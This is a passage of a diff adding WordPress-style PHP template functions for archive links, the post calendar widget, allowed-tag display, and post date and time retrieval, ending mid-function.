+ * @param string $before Optional. Content to prepend to the description. Default empty.
+ * @param string $after  Optional. Content to append to the description. Default empty.
+ */
+function the_archive_description( $before = '', $after = '' ) {
+	$description = get_the_archive_description();
+	if ( $description ) {
+		echo $before . $description . $after;
+	}
+}
+
+/**
+ * Retrieve category, tag, or term description.
+ *
+ * @since 4.1.0
+ *
+ * @return string Archive description.
+ */
+function get_the_archive_description() {
+	/**
+	 * Filter the archive description.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @see term_description()
+	 *
+	 * @param string $description Archive description to be displayed.
+	 */
+	return apply_filters( 'get_the_archive_description', term_description() );
+}
+
+/**
+ * Retrieve archive link content based on predefined or custom code.
+ *
+ * The format can be one of four styles. The 'link' for head element, 'option'
+ * for use in the select element, 'html' for use in list (either ol or ul HTML
+ * elements). Custom content is also supported using the before and after
+ * parameters.
+ *
+ * The 'link' format uses the `<link>` HTML element with the **archives**
+ * relationship. The before and after parameters are not used. The text
+ * parameter is used to describe the link.
+ *
+ * The 'option' format uses the option HTML element for use in select element.
+ * The value is the url parameter and the before and after parameters are used
+ * between the text description.
+ *
+ * The 'html' format, which is the default, uses the li HTML element for use in
+ * the list HTML elements. The before parameter is before the link and the after
+ * parameter is after the closing link.
+ *
+ * The custom format uses the before parameter before the link ('a' HTML
+ * element) and the after parameter after the closing link tag. If the above
+ * three values for the format are not used, then custom format is assumed.
+ *
+ * @since 1.0.0
+ *
+ * @todo Properly document optional arguments as such
+ *
+ * @param string $url URL to archive.
+ * @param string $text Archive text description.
+ * @param string $format Optional, default is 'html'. Can be 'link', 'option', 'html', or custom.
+ * @param string $before Optional.
+ * @param string $after Optional.
+ * @return string HTML link content for archive.
+ */
+function get_archives_link($url, $text, $format = 'html', $before = '', $after = '') {
+	$text = wptexturize($text);
+	$url = esc_url($url);
+
+	if ('link' == $format)
+		$link_html = "\t<link rel='archives' title='" . esc_attr( $text ) . "' href='$url' />\n";
+	elseif ('option' == $format)
+		$link_html = "\t<option value='$url'>$before $text $after</option>\n";
+	elseif ('html' == $format)
+		$link_html = "\t<li>$before<a href='$url'>$text</a>$after</li>\n";
+	else // custom
+		$link_html = "\t$before<a href='$url'>$text</a>$after\n";
+
+	/**
+	 * Filter the archive link content.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $link_html The archive HTML link content.
+	 */
+	$link_html = apply_filters( 'get_archives_link', $link_html );
+
+	return $link_html;
+}
+
+/**
+ * Display archive links based on type and format.
+ *
+ * @since 1.2.0
+ *
+ * @see get_archives_link()
+ *
+ * @param string|array $args {
+ *     Default archive links arguments. Optional.
+ *
+ *     @type string     $type            Type of archive to retrieve. Accepts 'daily', 'weekly', 'monthly',
+ *                                       'yearly', 'postbypost', or 'alpha'. Both 'postbypost' and 'alpha'
+ *                                       display the same archive link list as well as post titles instead
+ *                                       of displaying dates. The difference between the two is that 'alpha'
+ *                                       will order by post title and 'postbypost' will order by post date.
+ *                                       Default 'monthly'.
+ *     @type string|int $limit           Number of links to limit the query to. Default empty (no limit).
+ *     @type string     $format          Format each link should take using the $before and $after args.
+ *                                       Accepts 'link' (`<link>` tag), 'option' (`<option>` tag), 'html'
+ *                                       (`<li>` tag), or a custom format, which generates a link anchor
+ *                                       with $before preceding and $after succeeding. Default 'html'.
+ *     @type string     $before          Markup to prepend to the beginning of each link. Default empty.
+ *     @type string     $after           Markup to append to the end of each link. Default empty.
+ *     @type bool       $show_post_count Whether to display the post count alongside the link. Default false.
+ *     @type bool       $echo            Whether to echo or return the links list. Default 1|true to echo.
+ *     @type string     $order           Whether to use ascending or descending order. Accepts 'ASC', or 'DESC'.
+ *                                       Default 'DESC'.
+ * }
+ * @return string|null String when retrieving, null when displaying.
+ */
+function wp_get_archives( $args = '' ) {
+	global $wpdb, $wp_locale;
+
+	$defaults = array(
+		'type' => 'monthly', 'limit' => '',
+		'format' => 'html', 'before' => '',
+		'after' => '', 'show_post_count' => false,
+		'echo' => 1, 'order' => 'DESC',
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	if ( '' == $r['type'] ) {
+		$r['type'] = 'monthly';
+	}
+
+	if ( ! empty( $r['limit'] ) ) {
+		$r['limit'] = absint( $r['limit'] );
+		$r['limit'] = ' LIMIT ' . $r['limit'];
+	}
+
+	$order = strtoupper( $r['order'] );
+	if ( $order !== 'ASC' ) {
+		$order = 'DESC';
+	}
+
+	// this is what will separate dates on weekly archive links
+	$archive_week_separator = '&#8211;';
+
+	// over-ride general date format ? 0 = no: use the date format set in Options, 1 = yes: over-ride
+	$archive_date_format_over_ride = 0;
+
+	// options for daily archive (only if you over-ride the general date format)
+	$archive_day_date_format = 'Y/m/d';
+
+	// options for weekly archive (only if you over-ride the general date format)
+	$archive_week_start_date_format = 'Y/m/d';
+	$archive_week_end_date_format	= 'Y/m/d';
+
+	if ( ! $archive_date_format_over_ride ) {
+		$archive_day_date_format = get_option( 'date_format' );
+		$archive_week_start_date_format = get_option( 'date_format' );
+		$archive_week_end_date_format = get_option( 'date_format' );
+	}
+
+	/**
+	 * Filter the SQL WHERE clause for retrieving archives.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $sql_where Portion of SQL query containing the WHERE clause.
+	 * @param array  $r         An array of default arguments.
+	 */
+	$where = apply_filters( 'getarchives_where', "WHERE post_type = 'post' AND post_status = 'publish'", $r );
+
+	/**
+	 * Filter the SQL JOIN clause for retrieving archives.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $sql_join Portion of SQL query containing JOIN clause.
+	 * @param array  $r        An array of default arguments.
+	 */
+	$join = apply_filters( 'getarchives_join', '', $r );
+
+	$output = '';
+
+	$last_changed = wp_cache_get( 'last_changed', 'posts' );
+	if ( ! $last_changed ) {
+		$last_changed = microtime();
+		wp_cache_set( 'last_changed', $last_changed, 'posts' );
+	}
+
+	$limit = $r['limit'];
+
+	if ( 'monthly' == $r['type'] ) {
+		$query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date $order $limit";
+		$key = md5( $query );
+		$key = "wp_get_archives:$key:$last_changed";
+		if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
+			$results = $wpdb->get_results( $query );
+			wp_cache_set( $key, $results, 'posts' );
+		}
+		if ( $results ) {
+			$after = $r['after'];
+			foreach ( (array) $results as $result ) {
+				$url = get_month_link( $result->year, $result->month );
+				/* translators: 1: month name, 2: 4-digit year */
+				$text = sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $result->month ), $result->year );
+				if ( $r['show_post_count'] ) {
+					$r['after'] = '&nbsp;(' . $result->posts . ')' . $after;
+				}
+				$output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
+			}
+		}
+	} elseif ( 'yearly' == $r['type'] ) {
+		$query = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date $order $limit";
+		$key = md5( $query );
+		$key = "wp_get_archives:$key:$last_changed";
+		if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
+			$results = $wpdb->get_results( $query );
+			wp_cache_set( $key, $results, 'posts' );
+		}
+		if ( $results ) {
+			$after = $r['after'];
+			foreach ( (array) $results as $result) {
+				$url = get_year_link( $result->year );
+				$text = sprintf( '%d', $result->year );
+				if ( $r['show_post_count'] ) {
+					$r['after'] = '&nbsp;(' . $result->posts . ')' . $after;
+				}
+				$output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
+			}
+		}
+	} elseif ( 'daily' == $r['type'] ) {
+		$query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date), DAYOFMONTH(post_date) ORDER BY post_date $order $limit";
+		$key = md5( $query );
+		$key = "wp_get_archives:$key:$last_changed";
+		if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
+			$results = $wpdb->get_results( $query );
+			$cache[ $key ] = $results;
+			wp_cache_set( $key, $results, 'posts' );
+		}
+		if ( $results ) {
+			$after = $r['after'];
+			foreach ( (array) $results as $result ) {
+				$url  = get_day_link( $result->year, $result->month, $result->dayofmonth );
+				$date = sprintf( '%1$d-%2$02d-%3$02d 00:00:00', $result->year, $result->month, $result->dayofmonth );
+				$text = mysql2date( $archive_day_date_format, $date );
+				if ( $r['show_post_count'] ) {
+					$r['after'] = '&nbsp;(' . $result->posts . ')' . $after;
+				}
+				$output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
+			}
+		}
+	} elseif ( 'weekly' == $r['type'] ) {
+		$week = _wp_mysql_week( '`post_date`' );
+		$query = "SELECT DISTINCT $week AS `week`, YEAR( `post_date` ) AS `yr`, DATE_FORMAT( `post_date`, '%Y-%m-%d' ) AS `yyyymmdd`, count( `ID` ) AS `posts` FROM `$wpdb->posts` $join $where GROUP BY $week, YEAR( `post_date` ) ORDER BY `post_date` $order $limit";
+		$key = md5( $query );
+		$key = "wp_get_archives:$key:$last_changed";
+		if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
+			$results = $wpdb->get_results( $query );
+			wp_cache_set( $key, $results, 'posts' );
+		}
+		$arc_w_last = '';
+		if ( $results ) {
+			$after = $r['after'];
+			foreach ( (array) $results as $result ) {
+				if ( $result->week != $arc_w_last ) {
+					$arc_year       = $result->yr;
+					$arc_w_last     = $result->week;
+					$arc_week       = get_weekstartend( $result->yyyymmdd, get_option( 'start_of_week' ) );
+					$arc_week_start = date_i18n( $archive_week_start_date_format, $arc_week['start'] );
+					$arc_week_end   = date_i18n( $archive_week_end_date_format, $arc_week['end'] );
+					$url            = sprintf( '%1$s/%2$s%3$sm%4$s%5$s%6$sw%7$s%8$d', home_url(), '', '?', '=', $arc_year, '&amp;', '=', $result->week );
+					$text           = $arc_week_start . $archive_week_separator . $arc_week_end;
+					if ( $r['show_post_count'] ) {
+						$r['after'] = '&nbsp;(' . $result->posts . ')' . $after;
+					}
+					$output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
+				}
+			}
+		}
+	} elseif ( ( 'postbypost' == $r['type'] ) || ('alpha' == $r['type'] ) ) {
+		$orderby = ( 'alpha' == $r['type'] ) ? 'post_title ASC ' : 'post_date DESC ';
+		$query = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit";
+		$key = md5( $query );
+		$key = "wp_get_archives:$key:$last_changed";
+		if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
+			$results = $wpdb->get_results( $query );
+			wp_cache_set( $key, $results, 'posts' );
+		}
+		if ( $results ) {
+			foreach ( (array) $results as $result ) {
+				if ( $result->post_date != '0000-00-00 00:00:00' ) {
+					$url = get_permalink( $result );
+					if ( $result->post_title ) {
+						/** This filter is documented in wp-includes/post-template.php */
+						$text = strip_tags( apply_filters( 'the_title', $result->post_title, $result->ID ) );
+					} else {
+						$text = $result->ID;
+					}
+					$output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
+				}
+			}
+		}
+	}
+	if ( $r['echo'] ) {
+		echo $output;
+	} else {
+		return $output;
+	}
+}
+
+/**
+ * Get number of days since the start of the week.
+ *
+ * @since 1.5.0
+ *
+ * @param int $num Number of day.
+ * @return int Days since the start of the week.
+ */
+function calendar_week_mod($num) {
+	$base = 7;
+	return ($num - $base*floor($num/$base));
+}
+
+/**
+ * Display calendar with days that have posts as links.
+ *
+ * The calendar is cached, which will be retrieved, if it exists. If there are
+ * no posts for the month, then it will not be displayed.
+ *
+ * @since 1.0.0
+ *
+ * @param bool $initial Optional, default is true. Use initial calendar names.
+ * @param bool $echo Optional, default is true. Set to false for return.
+ * @return string|null String when retrieving, null when displaying.
+ */
+function get_calendar($initial = true, $echo = true) {
+	global $wpdb, $m, $monthnum, $year, $wp_locale, $posts;
+
+	$key = md5( $m . $monthnum . $year );
+	if ( $cache = wp_cache_get( 'get_calendar', 'calendar' ) ) {
+		if ( is_array($cache) && isset( $cache[ $key ] ) ) {
+			if ( $echo ) {
+				/** This filter is documented in wp-includes/general-template.php */
+				echo apply_filters( 'get_calendar', $cache[$key] );
+				return;
+			} else {
+				/** This filter is documented in wp-includes/general-template.php */
+				return apply_filters( 'get_calendar', $cache[$key] );
+			}
+		}
+	}
+
+	if ( !is_array($cache) )
+		$cache = array();
+
+	// Quick check. If we have no posts at all, abort!
+	if ( !$posts ) {
+		$gotsome = $wpdb->get_var("SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1");
+		if ( !$gotsome ) {
+			$cache[ $key ] = '';
+			wp_cache_set( 'get_calendar', $cache, 'calendar' );
+			return;
+		}
+	}
+
+	if ( isset($_GET['w']) )
+		$w = ''.intval($_GET['w']);
+
+	// week_begins = 0 stands for Sunday
+	$week_begins = intval(get_option('start_of_week'));
+
+	// Let's figure out when we are
+	if ( !empty($monthnum) && !empty($year) ) {
+		$thismonth = ''.zeroise(intval($monthnum), 2);
+		$thisyear = ''.intval($year);
+	} elseif ( !empty($w) ) {
+		// We need to get the month from MySQL
+		$thisyear = ''.intval(substr($m, 0, 4));
+		$d = (($w - 1) * 7) + 6; //it seems MySQL's weeks disagree with PHP's
+		$thismonth = $wpdb->get_var("SELECT DATE_FORMAT((DATE_ADD('{$thisyear}0101', INTERVAL $d DAY) ), '%m')");
+	} elseif ( !empty($m) ) {
+		$thisyear = ''.intval(substr($m, 0, 4));
+		if ( strlen($m) < 6 )
+				$thismonth = '01';
+		else
+				$thismonth = ''.zeroise(intval(substr($m, 4, 2)), 2);
+	} else {
+		$thisyear = gmdate('Y', current_time('timestamp'));
+		$thismonth = gmdate('m', current_time('timestamp'));
+	}
+
+	$unixmonth = mktime(0, 0 , 0, $thismonth, 1, $thisyear);
+	$last_day = date('t', $unixmonth);
+
+	// Get the next and previous month and year with at least one post
+	$previous = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
+		FROM $wpdb->posts
+		WHERE post_date < '$thisyear-$thismonth-01'
+		AND post_type = 'post' AND post_status = 'publish'
+			ORDER BY post_date DESC
+			LIMIT 1");
+	$next = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
+		FROM $wpdb->posts
+		WHERE post_date > '$thisyear-$thismonth-{$last_day} 23:59:59'
+		AND post_type = 'post' AND post_status = 'publish'
+			ORDER BY post_date ASC
+			LIMIT 1");
+
+	/* translators: Calendar caption: 1: month name, 2: 4-digit year */
+	$calendar_caption = _x('%1$s %2$s', 'calendar caption');
+	$calendar_output = '<table id="wp-calendar">
+	<caption>' . sprintf($calendar_caption, $wp_locale->get_month($thismonth), date('Y', $unixmonth)) . '</caption>
+	<thead>
+	<tr>';
+
+	$myweek = array();
+
+	for ( $wdcount=0; $wdcount<=6; $wdcount++ ) {
+		$myweek[] = $wp_locale->get_weekday(($wdcount+$week_begins)%7);
+	}
+
+	foreach ( $myweek as $wd ) {
+		$day_name = (true == $initial) ? $wp_locale->get_weekday_initial($wd) : $wp_locale->get_weekday_abbrev($wd);
+		$wd = esc_attr($wd);
+		$calendar_output .= "\n\t\t<th scope=\"col\" title=\"$wd\">$day_name</th>";
+	}
+
+	$calendar_output .= '
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>';
+
+	if ( $previous ) {
+		$calendar_output .= "\n\t\t".'<td colspan="3" id="prev"><a href="' . get_month_link($previous->year, $previous->month) . '">&laquo; ' . $wp_locale->get_month_abbrev($wp_locale->get_month($previous->month)) . '</a></td>';
+	} else {
+		$calendar_output .= "\n\t\t".'<td colspan="3" id="prev" class="pad">&nbsp;</td>';
+	}
+
+	$calendar_output .= "\n\t\t".'<td class="pad">&nbsp;</td>';
+
+	if ( $next ) {
+		$calendar_output .= "\n\t\t".'<td colspan="3" id="next"><a href="' . get_month_link($next->year, $next->month) . '">' . $wp_locale->get_month_abbrev($wp_locale->get_month($next->month)) . ' &raquo;</a></td>';
+	} else {
+		$calendar_output .= "\n\t\t".'<td colspan="3" id="next" class="pad">&nbsp;</td>';
+	}
+
+	$calendar_output .= '
+	</tr>
+	</tfoot>
+
+	<tbody>
+	<tr>';
+
+	// Get days with posts
+	$dayswithposts = $wpdb->get_results("SELECT DISTINCT DAYOFMONTH(post_date)
+		FROM $wpdb->posts WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00'
+		AND post_type = 'post' AND post_status = 'publish'
+		AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59'", ARRAY_N);
+	if ( $dayswithposts ) {
+		foreach ( (array) $dayswithposts as $daywith ) {
+			$daywithpost[] = $daywith[0];
+		}
+	} else {
+		$daywithpost = array();
+	}
+
+	if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false || stripos($_SERVER['HTTP_USER_AGENT'], 'camino') !== false || stripos($_SERVER['HTTP_USER_AGENT'], 'safari') !== false)
+		$ak_title_separator = "\n";
+	else
+		$ak_title_separator = ', ';
+
+	$ak_titles_for_day = array();
+	$ak_post_titles = $wpdb->get_results("SELECT ID, post_title, DAYOFMONTH(post_date) as dom "
+		."FROM $wpdb->posts "
+		."WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00' "
+		."AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59' "
+		."AND post_type = 'post' AND post_status = 'publish'"
+	);
+	if ( $ak_post_titles ) {
+		foreach ( (array) $ak_post_titles as $ak_post_title ) {
+
+				/** This filter is documented in wp-includes/post-template.php */
+				$post_title = esc_attr( apply_filters( 'the_title', $ak_post_title->post_title, $ak_post_title->ID ) );
+
+				if ( empty($ak_titles_for_day['day_'.$ak_post_title->dom]) )
+					$ak_titles_for_day['day_'.$ak_post_title->dom] = '';
+				if ( empty($ak_titles_for_day["$ak_post_title->dom"]) ) // first one
+					$ak_titles_for_day["$ak_post_title->dom"] = $post_title;
+				else
+					$ak_titles_for_day["$ak_post_title->dom"] .= $ak_title_separator . $post_title;
+		}
+	}
+
+	// See how much we should pad in the beginning
+	$pad = calendar_week_mod(date('w', $unixmonth)-$week_begins);
+	if ( 0 != $pad )
+		$calendar_output .= "\n\t\t".'<td colspan="'. esc_attr($pad) .'" class="pad">&nbsp;</td>';
+
+	$daysinmonth = intval(date('t', $unixmonth));
+	for ( $day = 1; $day <= $daysinmonth; ++$day ) {
+		if ( isset($newrow) && $newrow )
+			$calendar_output .= "\n\t</tr>\n\t<tr>\n\t\t";
+		$newrow = false;
+
+		if ( $day == gmdate('j', current_time('timestamp')) && $thismonth == gmdate('m', current_time('timestamp')) && $thisyear == gmdate('Y', current_time('timestamp')) )
+			$calendar_output .= '<td id="today">';
+		else
+			$calendar_output .= '<td>';
+
+		if ( in_array($day, $daywithpost) ) // any posts today?
+				$calendar_output .= '<a href="' . get_day_link( $thisyear, $thismonth, $day ) . '" title="' . esc_attr( $ak_titles_for_day[ $day ] ) . "\">$day</a>";
+		else
+			$calendar_output .= $day;
+		$calendar_output .= '</td>';
+
+		if ( 6 == calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins) )
+			$newrow = true;
+	}
+
+	$pad = 7 - calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins);
+	if ( $pad != 0 && $pad != 7 )
+		$calendar_output .= "\n\t\t".'<td class="pad" colspan="'. esc_attr($pad) .'">&nbsp;</td>';
+
+	$calendar_output .= "\n\t</tr>\n\t</tbody>\n\t</table>";
+
+	$cache[ $key ] = $calendar_output;
+	wp_cache_set( 'get_calendar', $cache, 'calendar' );
+
+	if ( $echo ) {
+		/**
+		 * Filter the HTML calendar output.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $calendar_output HTML output of the calendar.
+		 */
+		echo apply_filters( 'get_calendar', $calendar_output );
+	} else {
+		/** This filter is documented in wp-includes/general-template.php */
+		return apply_filters( 'get_calendar', $calendar_output );
+	}
+
+}
+
+/**
+ * Purge the cached results of get_calendar.
+ *
+ * @see get_calendar
+ * @since 2.1.0
+ */
+function delete_get_calendar_cache() {
+	wp_cache_delete( 'get_calendar', 'calendar' );
+}
+add_action( 'save_post', 'delete_get_calendar_cache' );
+add_action( 'delete_post', 'delete_get_calendar_cache' );
+add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' );
+add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' );
+
+/**
+ * Display all of the allowed tags in HTML format with attributes.
+ *
+ * This is useful for displaying in the comment area, which elements and
+ * attributes are supported. As well as any plugins which want to display it.
+ *
+ * @since 1.0.1
+ * @uses $allowedtags
+ *
+ * @return string HTML allowed tags entity encoded.
+ */
+function allowed_tags() {
+	global $allowedtags;
+	$allowed = '';
+	foreach ( (array) $allowedtags as $tag => $attributes ) {
+		$allowed .= '<'.$tag;
+		if ( 0 < count($attributes) ) {
+			foreach ( $attributes as $attribute => $limits ) {
+				$allowed .= ' '.$attribute.'=""';
+			}
+		}
+		$allowed .= '> ';
+	}
+	return htmlentities($allowed);
+}
+
+/***** Date/Time tags *****/
+
+/**
+ * Outputs the date in iso8601 format for xml files.
+ *
+ * @since 1.0.0
+ */
+function the_date_xml() {
+	echo mysql2date( 'Y-m-d', get_post()->post_date, false );
+}
+
+/**
+ * Display or Retrieve the date the current post was written (once per date)
+ *
+ * Will only output the date if the current post's date is different from the
+ * previous one output.
+ *
+ * i.e. Only one date listing will show per day worth of posts shown in the loop, even if the
+ * function is called several times for each post.
+ *
+ * HTML output can be filtered with 'the_date'.
+ * Date string output can be filtered with 'get_the_date'.
+ *
+ * @since 0.71
+ *
+ * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
+ * @param string $before Optional. Output before the date.
+ * @param string $after Optional. Output after the date.
+ * @param bool $echo Optional, default is display. Whether to echo the date or return it.
+ * @return string|null Null if displaying, string if retrieving.
+ */
+function the_date( $d = '', $before = '', $after = '', $echo = true ) {
+	global $currentday, $previousday;
+
+	if ( $currentday != $previousday ) {
+		$the_date = $before . get_the_date( $d ) . $after;
+		$previousday = $currentday;
+
+		/**
+		 * Filter the date a post was published for display.
+		 *
+		 * @since 0.71
+		 *
+		 * @param string $the_date The formatted date string.
+		 * @param string $d        PHP date format. Defaults to 'date_format' option
+		 *                         if not specified.
+		 * @param string $before   HTML output before the date.
+		 * @param string $after    HTML output after the date.
+		 */
+		$the_date = apply_filters( 'the_date', $the_date, $d, $before, $after );
+
+		if ( $echo )
+			echo $the_date;
+		else
+			return $the_date;
+	}
+
+	return null;
+}
+
+/**
+ * Retrieve the date on which the post was written.
+ *
+ * Unlike the_date() this function will always return the date.
+ * Modify output with 'get_the_date' filter.
+ *
+ * @since 3.0.0
+ *
+ * @param  string      $d    Optional. PHP date format defaults to the date_format option if not specified.
+ * @param  int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
+ * @return false|string Date the current post was written. False on failure.
+ */
+function get_the_date( $d = '', $post = null ) {
+	$post = get_post( $post );
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	if ( '' == $d ) {
+		$the_date = mysql2date( get_option( 'date_format' ), $post->post_date );
+	} else {
+		$the_date = mysql2date( $d, $post->post_date );
+	}
+
+	/**
+	 * Filter the date a post was published.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string      $the_date The formatted date.
+	 * @param string      $d        PHP date format. Defaults to 'date_format' option
+	 *                              if not specified.
+	 * @param int|WP_Post $post     The post object or ID.
+	 */
+	return apply_filters( 'get_the_date', $the_date, $d, $post );
+}
+
+/**
+ * Display the date on which the post was last modified.
+ *
+ * @since 2.1.0
+ *
+ * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
+ * @param string $before Optional. Output before the date.
+ * @param string $after Optional. Output after the date.
+ * @param bool $echo Optional, default is display. Whether to echo the date or return it.
+ * @return string|null Null if displaying, string if retrieving.
+ */
+function the_modified_date($d = '', $before='', $after='', $echo = true) {
+
+	$the_modified_date = $before . get_the_modified_date($d) . $after;
+
+	/**
+	 * Filter the date a post was last modified for display.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $the_modified_date The last modified date.
+	 * @param string $d                 PHP date format. Defaults to 'date_format' option
+	 *                                  if not specified.
+	 * @param string $before            HTML output before the date.
+	 * @param string $after             HTML output after the date.
+	 */
+	$the_modified_date = apply_filters( 'the_modified_date', $the_modified_date, $d, $before, $after );
+
+	if ( $echo )
+		echo $the_modified_date;
+	else
+		return $the_modified_date;
+
+}
+
+/**
+ * Retrieve the date on which the post was last modified.
+ *
+ * @since 2.1.0
+ *
+ * @param string $d Optional. PHP date format. Defaults to the "date_format" option
+ * @return string
+ */
+function get_the_modified_date($d = '') {
+	if ( '' == $d )
+		$the_time = get_post_modified_time(get_option('date_format'), null, null, true);
+	else
+		$the_time = get_post_modified_time($d, null, null, true);
+
+	/**
+	 * Filter the date a post was last modified.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $the_time The formatted date.
+	 * @param string $d        PHP date format. Defaults to value specified in
+	 *                         'date_format' option.
+	 */
+	return apply_filters( 'get_the_modified_date', $the_time, $d );
+}
+
+/**
+ * Display the time at which the post was written.
+ *
+ * @since 0.71
+ *
+ * @param string $d Either 'G', 'U', or php date format.
+ */
+function the_time( $d = '' ) {
+	/**
+	 * Filter the time a post was written for display.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $get_the_time The formatted time.
+	 * @param string $d            The time format. Accepts 'G', 'U',
+	 *                             or php date format.
+	 */
+	echo apply_filters( 'the_time', get_the_time( $d ), $d );
+}
+
+/**
+ * Retrieve the time at which the post was written.
+ *
+ * @since 1.5.0
+ *
+ * @param string      $d    Optional. Format to use for retrieving the time the post
+ *                          was written. Either 'G', 'U', or php date format defaults
+ *                          to the value specified in the time_format option. Default empty.
+ * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
+ * @return false|string Formatted date string or Unix timestamp. False on failure.
+ */
+function get_the_time( $d = '', $post = null ) {
+	$post = get_post($post);
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	if ( '' == $d )
+		$the_time = get_post_time(get_option('time_format'), false, $post, true);
+	else
+		$the_time = get_post_time($d, false, $post, true);
+
+	/**
+	 * Filter the time a post was written.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string      $the_time The formatted time.
+	 * @param string      $d        Format to use for retrieving the time the post was written.
+	 *                              Accepts 'G', 'U', or php date format value specified
+	 *                              in 'time_format' option. Default empty.
+	 * @param int|WP_Post $post     WP_Post object or ID.
+	 */
+	return apply_filters( 'get_the_time', $the_time, $d, $post );
+}
+
+/**
+ * Retrieve the time at which the post was written.
+ *
+ * @since 2.0.0
+ *
+ * @param string      $d         Optional. Format to use for retrieving the time the post
+ *                               was written. Either 'G', 'U', or php date format. Default 'U'.
+ * @param bool        $gmt       Optional. Whether to retrieve the GMT time. Default false.
+ * @param int|WP_Post $post      WP_Post object or ID. Default is global $post object.
+ * @param bool        $translate Whether to translate the time string. Default false.
+ * @return false|string|int Formatted date string or Unix timestamp. False on failure.
+ */
+function get_post_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
+	$post = get_post($post);
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	if ( $gmt )
+		$time = $post->post_date_gmt;
+	else
+		$time = $post->post_date;
+
+	$time = mysql2date($d, $time, $translate);
+
+	/**
+	 * Filter the localized time a post was written.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $time The formatted time.
+	 * @param string $d    Format to use for retrieving the time the post was written.
+	 *                     Accepts 'G', 'U', or php date format. Default 'U'.
+	 * @param bool   $gmt  Whether to retrieve the GMT time. Default false.
+	 */
+	return apply_filters( 'get_post_time', $time, $d, $gmt );
+}
+
+/**
+ * Display the time at which the post was last modified.
+ *
+ * @since 2.0.0
+ *
+ * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
+ */
+function the_modified_time($d = '') {
+	/**
+	 * Filter the localized time a post was last modified, for display.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $get_the_modified_time The formatted time.
+	 * @param string $d                     The time format. Accepts 'G', 'U',
+	 *                                      or php date format. Defaults to value
+	 *                                      specified in 'time_format' option.
+	 */
+	echo apply_filters( 'the_modified_time', get_the_modified_time($d), $d );
+}
+
+/**
+ * Retrieve the time at which the post was last modified.
+ *
+ * @since 2.0.0
+ *
+ * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
+ * @return string
+ */
+function get_the_modified_time($d = '') {
+	if ( '' == $d )
+		$the_time = get_post_modified_time(get_option('time_format'), null, null, true);
+	else
+		$the_time = get_post_modified_time($d, null, null, true);
+
+	/**
+	 * Filter the localized time a post was last modified.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $the_time The formatted time.
+	 * @param string $d        Format to use for retrieving the time the post was
+	 *                         written. Accepts 'G', 'U', or php date format. Defaults
+	 *                         to value specified in 'time_format' option.
+	 */
+	return apply_filters( 'get_the_modified_time', $the_time, $d );
+}
+
+/**
+ * Retrieve the time at which the post was last modified.
+ *
+ * @since 2.0.0
+ *
+ * @param string      $d         Optional. Format to use for retrieving the time the post
+ *                               was modified. Either 'G', 'U', or php date format. Default 'U'.
+ * @param bool        $gmt       Optional. Whether to retrieve the GMT time. Default false.
+ * @param int|WP_Post $post      WP_Post object or ID. Default is global $post object.
+ * @param bool        $translate Whether to translate the time string. Default false.
+ * @return false|string Formatted date string or Unix timestamp. False on failure.
+ */
+function get_post_modified_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
+	$post = get_post($post);
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	if ( $gmt )
